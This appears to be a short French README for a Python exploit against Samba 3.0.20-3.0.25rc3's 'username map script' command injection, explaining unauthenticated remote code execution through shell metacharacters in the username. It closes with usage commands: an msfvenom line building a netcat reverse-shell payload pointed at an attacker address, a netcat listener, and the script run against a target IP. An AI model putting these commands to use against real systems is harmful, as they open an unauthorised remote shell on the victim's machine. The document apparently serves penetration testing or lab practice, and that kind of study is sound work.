
Exploit Python pour l'injection de commande « username map script » de Samba 3.0.20-3.0.25rc3, offrant une exécution de code à distance non authentifiée et un reverse shell.
Ce module exploite une vulnérabilité d'exécution de commande dans les versions de Samba 3.0.20 à 3.0.25rc3 lors de l'utilisation de l'option de configuration non défaut "username map script". En spécifiant un nom d'utilisateur contenant des méta-caractères de shell, les attaquants peuvent exécuter des commandes arbitraires. Aucune authentification n'est nécessaire pour exploiter cette vulnérabilité car cette option est utilisée pour mapper les noms d'utilisateur avant l'authentification !
msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.56 LPORT=5555 -f python
nc -nlvp 5555
python3 smbusermap.py <Target IP>
